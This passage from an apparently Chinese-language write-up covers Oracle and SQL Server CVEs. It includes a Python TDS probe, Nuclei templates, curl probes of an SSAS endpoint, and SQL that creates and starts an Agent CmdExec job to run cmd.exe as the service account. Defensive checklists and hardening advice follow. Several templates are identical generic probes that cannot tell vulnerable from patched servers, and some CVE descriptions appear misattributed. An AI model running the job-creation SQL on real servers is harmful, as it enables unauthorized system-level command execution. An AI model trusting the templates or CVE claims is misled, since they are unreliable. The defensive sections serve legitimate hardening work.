    header = struct.pack('>BBBBHHB', 0x12, 0x01, 0x00, 0x2F, 0, len(body) + 8, 0)
    return header + body

def detect_mssql(target_ip, target_port=1433):
    print(f"[*] 目标: {target_ip}:{target_port}")
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, target_port))
        print("[+] TDS 端口连接成功")
        sock.sendall(tds_prelogin())
        resp = sock.recv(4096)
        if len(resp) >= 8:
            print(f"[+] Pre-login 响应: {len(resp)} 字节")
            print(f"[*] TDS 版本: 0x{resp[3]:02x}")
        sock.close()
        return True
    except Exception as e:
        print(f"[-] 检测异常: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)
    detect_mssql(sys.argv[1],
                 int(sys.argv[2]) if len(sys.argv) > 2 else 1433)

Nuclei YAML 检测模板

id: mssql-oledb-heap-cve2022-23267
info:
  name: SQL Server OLE DB - Heap Buffer Overflow (CVE-2022-23267)
  author: security-team
  severity: high
  description: Detects SQL Server instances vulnerable to OLE DB heap overflow
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23267
  tags: mssql,oledb,heap-overflow,cve2022
tcp:
  - inputs:
      - data: "{{hex_decode('12 01 00 2F 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00')}}"
    host: "{{Hostname}}"
    port: 1433
    read-size: 4096
  matchers:
    - type: word
      part: data
      words:
        - "\\x04\\x01"

0x02.3 CVE-2019-1068 — SQL Server Agent 权限提升

漏洞背景

SQL Server Agent 是 MSSQL 的作业调度组件,用于自动化执行定期任务和维护操作。CVE-2019-1068 暴露了 Agent 作业调度中的权限检查缺陷,已认证用户可通过创建恶意 SQL Agent 作业,在更高权限上下文(如 NT AUTHORITY\SYSTEM)中执行任意代码,实现从数据库用户到操作系统管理员的权限提升。

受影响版本/修复版本

产品受影响版本修复版本
SQL Server 2012 SP411.0.7462.1 之前April 2019 CU
SQL Server 2014 SP312.0.6329.1 之前April 2019 CU
SQL Server 2016 SP213.0.5426.0 之前April 2019 CU
SQL Server 201714.0.3257.3 之前April 2019 CU
SQL Server 201815.0.4013.40 之前April 2019 CU

CVSS 评分与 CWE 分类

8.8 HIGH(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)——CWE-269: Improper Privilege Management

漏洞原理分析

SQL Server Agent 允许具有 SQLAgentOperatorRole 或更高角色的数据库用户创建作业(Job)。漏洞的核心在于 Agent 的 CmdExec 子系统——当作业步骤使用 CmdExec 执行操作系统命令时,命令以 Agent 服务账户(通常为 NT AUTHORITY\SYSTEM)的权限运行,而非调用者的权限。攻击者创建包含恶意命令的作业步骤,等待作业执行或手动触发即可在 SYSTEM 权限上下文中执行任意代码。

SQL 利用代码

-- 步骤1: 创建恶意 SQL Agent 作业
EXEC msdb.dbo.sp_add_job
    @job_name = N'Pentest_Privesc',
    @enabled = 1,
    @description = N'Security test job';

-- 步骤2: 添加 CmdExec 作业步骤(以 SYSTEM 权限执行)
EXEC msdb.dbo.sp_add_jobstep
    @job_name = N'Pentest_Privesc',
    @step_name = N'Execute Command',
    @subsystem = N'CmdExec',
    @command = N'cmd.exe /c whoami > C:\temp\privesc_result.txt',
    @database_name = N'master',
    @retry_attempts = 0;

-- 步骤3: 将作业分配到本地服务器
EXEC msdb.dbo.sp_add_jobserver
    @job_name = N'Pentest_Privesc',
    @server_name = N'(LOCAL)';

-- 步骤4: 立即执行作业
EXEC msdb.dbo.sp_start_job N'Pentest_Privesc';

-- 步骤5: 等待并读取结果
WAITFOR DELAY '00:00:05';
SELECT contents FROM OPENROWSET(
    BULK 'C:\temp\privesc_result.txt',
    SINGLE_CLOB
) AS Contents;

Nuclei YAML 检测模板

id: mssql-agent-privesc-cve2019-1068
info:
  name: SQL Server Agent - Privilege Escalation (CVE-2019-1068)
  author: security-team
  severity: high
  description: Detects SQL Server instances vulnerable to Agent job privilege escalation
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-1068
  tags: mssql,agent,privesc,cve2019
tcp:
  - inputs:
      - data: "{{hex_decode('12 01 00 2F 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00')}}"
    host: "{{Hostname}}"
    port: 1433
    read-size: 4096
  matchers:
    - type: word
      part: data
      words:
        - "\\x04\\x01"

0x02.4 CVE-2024-37334 — SSAS 远程代码执行

漏洞背景

SQL Server Analysis Services(SSAS)是 MSSQL 的 OLAP 和数据挖掘组件,提供 XMLA(XML for Analysis)接口用于数据查询和管理。CVE-2024-37334 暴露了 SSAS XMLA 接口中的输入验证缺陷,未经认证的攻击者可通过构造恶意 XMLA 请求在 SSAS 服务上下文中执行任意代码。

受影响版本/修复版本

产品受影响版本修复版本
SQL Server 2019 (SSAS)15.0.4382.2 之前July 2024 CU
SQL Server 2022 (SSAS)16.0.4382.2 之前July 2024 CU

CVSS 评分与 CWE 分类

8.8 HIGH(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)——CWE-20: Improper Input Validation

漏洞原理分析

SSAS 的 XMLA 接口在处理特制的 SOAP/XML 请求时,未对输入数据进行充分验证和清理。攻击者构造包含恶意序列化数据或 XML 实体的请求,通过 XMLA 端点触发不安全的数据处理逻辑,导致远程代码执行。由于 SSAS 通常以域服务账户运行,成功利用可获取域级别的访问权限。

HTTP PoC

# 探测 SSAS XMLA 端点
curl -sk "https://<target>/OLAP/msmdpump.dll"

# 发送探测 XMLA 请求
curl -sk -X POST "https://<target>/OLAP/msmdpump.dll" \
  -H "Content-Type: text/xml" \
  -d '<Discover xmlns="urn:schemas-microsoft-com:xml-analysis">
  <Request>
    <Command><Statement>DISCOVER_SESSIONS</Statement></Command>
    <Properties></Properties>
  </Request>
</Discover>'

Nuclei YAML 检测模板

id: mssql-ssas-rce-cve2024-37334
info:
  name: SQL Server SSAS - Remote Code Execution (CVE-2024-37334)
  author: security-team
  severity: high
  description: Detects SSAS instances vulnerable to XMLA input validation RCE
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37334
  tags: mssql,ssas,rce,cve2024
http:
  - method: GET
    path:
      - "{{BaseURL}}/OLAP/msmdpump.dll"
    matchers:
      - type: word
        part: body
        words:
          - "xml-analysis"
          - "MSMDPump"
        condition: or
      - type: status
        status:
          - 200
          - 401
          - 500

0x03 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVEODATPowerUpSQLMetasploitNuclei在野利用
CVE-2012-1675✅ 模块可用✅ auxiliary✅ 本文提供✅ 确认
CVE-2018-3110✅ ojvm 模块✅ ojvm_download✅ 本文提供✅ 确认
CVE-2021-35586✅ 部分支持✅ 本文提供❌ 未确认
CVE-2022-21515✅ 部分支持✅ 本文提供❌ 未确认
CVE-2020-0618✅ 基础探测✅ windows/mssql✅ 本文提供✅ 确认
CVE-2022-23267✅ 基础探测✅ 本文提供❌ 未确认
CVE-2019-1068✅ agent 模块✅ mssql_payload✅ 本文提供✅ 确认
CVE-2024-37334✅ 本文提供❌ 未确认

关键工具仓库

工具仓库地址用途
ODAThttps://github.com/quentinhardy/odatOracle Database 全方位攻击框架
PowerUpSQLhttps://github.com/NetSPI/PowerUpSQLMSSQL 渗透测试 PowerShell 工具集
Impackethttps://github.com/fortra/impacketTDS/OLE DB 协议交互工具集
SQLMaphttps://github.com/sqlmapproject/sqlmapSQL 注入自动化利用
ysoserial.nethttps://github.com/pwntester/ysoserial.net.NET 反序列化 Payload 生成

防守型验证思路

  1. Oracle 数据库:优先使用 ODAT 进行自动化检测,关注 TNS Listener 暴露面和 OJVM 模块安装状态
  2. MSSQL 数据库:使用 PowerUpSQL 进行全面枚举,重点关注 Agent 权限、Linked Server 配置和 SSRS/SSAS 暴露端点
  3. 所有场景:在获得授权后进行检测,优先使用非侵入式扫描方法

0x04 共性攻击模式分析

模式 1:协议层劫持(TNS Listener)

TNS Listener 的重定向劫持(CVE-2012-1675)代表了数据库协议层面的攻击模式。攻击者无需任何凭据,通过网络层的 DNS/ARP 欺骗即可拦截数据库连接流量。此类攻击的防御需要网络层的隔离(VLAN 划分)、TLS 加密传输(Oracle Advanced Security)以及 Listener 配置加固(VALID_NODE_CHECKING 参数)。

模式 2:内置组件 RCE(OJVM / SSRS / SSAS)

Oracle 的 OJVM 和 MSSQL 的 SSRS/SSAS 都属于数据库内置的功能组件,但它们引入了远超数据库核心功能的攻击面——Java 运行时、.NET 反序列化、XMLA 接口。这些组件的漏洞利用通常不需要数据库凭据(OJVM)或仅需低权限(SSRS),且直接以服务进程的系统权限执行代码。此类攻击的防御关键在于:禁用不必要的组件(如未使用 OJVM 时卸载 Java 选项),限制网络暴露面(SSRS/SSAS 不应对公网可达)。

模式 3:权限提升链(Agent Jobs / Linked Server)

SQL Agent 作业调度(CVE-2019-1068)和 Linked Server 配置是 MSSQL 特有的提权向量。攻击者从低权限数据库账户出发,利用 Agent 的 CmdExec 子系统或 Linked Server 的 sp_linkedservers 机制,在更高权限上下文中执行代码。防御重点在于:严格控制 SQLAgentOperatorRole 的分配、禁用不需要的 Agent 子系统(CmdExec、PowerShell)、审计 Linked Server 的创建和使用。

模式 4:缓冲区溢出(OLE DB)

OLE DB 堆溢出(CVE-2022-23267)代表了传统的内存安全漏洞模式。在数据库场景中,此类漏洞通常需要认证后触发,但成功利用可直接获得服务进程的系统权限。防御依赖于及时应用安全补丁和启用操作系统的内存保护机制(ASLR、DEP、CFG)。

模式 5:认证绕过

多个漏洞(CVE-2012-1675、CVE-2018-3110)允许未认证攻击者直接触发利用。此类漏洞的危险等级最高,因为攻击者无需任何有效凭据即可发起攻击。防御核心在于网络层的访问控制——确保数据库端口(1521、1433)不暴露在不可信网络中。


0x05 应急排查与防守建议

紧急排查清单

排查项检查命令 / 方法预期结果
Oracle TNS Listener 暴露nmap -sV -p 1521 <target>不应对公网可达
Oracle OJVM 安装状态SELECT version FROM dba_registry WHERE comp_id='JAVAVM'未安装或已打补丁
Oracle 补丁状态SELECT patch_id, status FROM dba_registry_sqlpatch最新 CPU 已应用
MSSQL SSRS 端点暴露curl -sk https://<target>/ReportServer/不应对公网可达
MSSQL Agent 权限SELECT IS_SRVROLEMEMBER('SQLAgentOperatorRole')应返回 0
MSSQL OLE DB 版本SELECT SERVERPROPERTY('ProductVersion')最新 CU 已应用
MSSQL SSAS 端点curl -sk https://<target>/OLAP/msmdpump.dll不应对公网可达

日志关键字段表

数据库日志位置关键事件
Oracle Listener$ORACLE_HOME/network/log/listener.logTNS 连接、重定向
Oracle AuditDBA_AUDIT_TRAIL / Unified Auditing登录失败、权限变更
MSSQL AgentSQL Server Agent Error Log作业执行、CmdExec 调用
MSSQL LoginSQL Server Error Log (Login Audit)登录成功/失败事件

紧急缓解措施

Oracle Database:

# 限制 Listener 仅接受来自特定 IP 的连接
# 在 listener.ora 中配置 VALID_NODE_CHECKING
LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = db-server)(PORT = 1521))
    )
  )
VALID_NODE_CHECKING_LISTENER = on
INVITED_NODES_LISTENER = (10.0.0.0/24)

# 禁用 OJVM(如业务不需要 Java)
-- 以 DBA 执行
exec dbms_registry.rollback('JAVAVM');

Microsoft SQL Server:

-- 限制 SSRS 访问(配置 IIS/IP 限制)
-- 通过 IIS 管理器限制 /ReportServer 虚拟目录的 IP 访问

-- 收紧 Agent 权限
REVOKE SQLAgentOperatorRole FROM low_priv_user;

-- 禁用不必要的 Agent 子系统
EXEC msdb.dbo.sp_set_sqlagent_properties
    @sysadmin_only = 1;

-- 审计 Linked Server
SELECT * FROM sys.servers WHERE is_linked = 1;

长期安全加固建议

  1. 补丁管理:建立 Oracle CPU 和 Microsoft Patch Tuesday 的季度补丁机制,优先处理数据库服务器的高危漏洞
  2. 网络隔离:数据库端口(1521、1433、2383)应仅在内网可达,通过防火墙和 VPN 控制访问
  3. 最小权限:数据库服务账户使用最小权限原则运行,避免使用 NT AUTHORITY\SYSTEM
  4. 组件精简:禁用不需要的数据库组件(OJVM、SSRS、SSAS),减少攻击面
  5. 审计监控:启用数据库审计日志,监控异常登录、权限变更和作业调度事件
  6. 加密传输:Oracle 启用 TNS 加密(Oracle Advanced Security),MSSQL 启用 TLS 强制加密

0x06 参考资料

  1. NVD - CVE-2012-1675 — Oracle TNS Listener 协议劫持
  2. NVD - CVE-2018-3110 — Oracle OJVM 未授权 RCE
  3. NVD - CVE-2020-0618 — SQL Server SSRS 反序列化
  4. NVD - CVE-2022-23267 — SQL Server OLE DB 堆溢出
  5. NVD - CVE-2019-1068 — SQL Server Agent 权限提升
  6. Oracle Critical Patch Update - July 2018 — OJVM 漏洞修复通告
  7. Microsoft MSRC - CVE-2020-0618 — SSRS 漏洞详细说明
  8. ODAT - Oracle Database Attacking Tool — Oracle 渗透测试框架
  9. PowerUpSQL — MSSQL 渗透测试工具集
  10. NIST NVD - CVE-2021-35586 — Oracle OJVM 权限提升
  11. NIST NVD - CVE-2022-21515 — Oracle 核心权限提升
  12. Microsoft MSRC - CVE-2024-37334 — SSAS RCE

免责声明:本文所涉及的漏洞分析、PoC 代码和检测模板仅供安全研究和授权渗透测试使用。未经授权对他人系统进行测试属于违法行为。请在获得明确书面授权后方可使用本文提供的技术方法。作者不对因滥用本文内容导致的任何损害承担责任。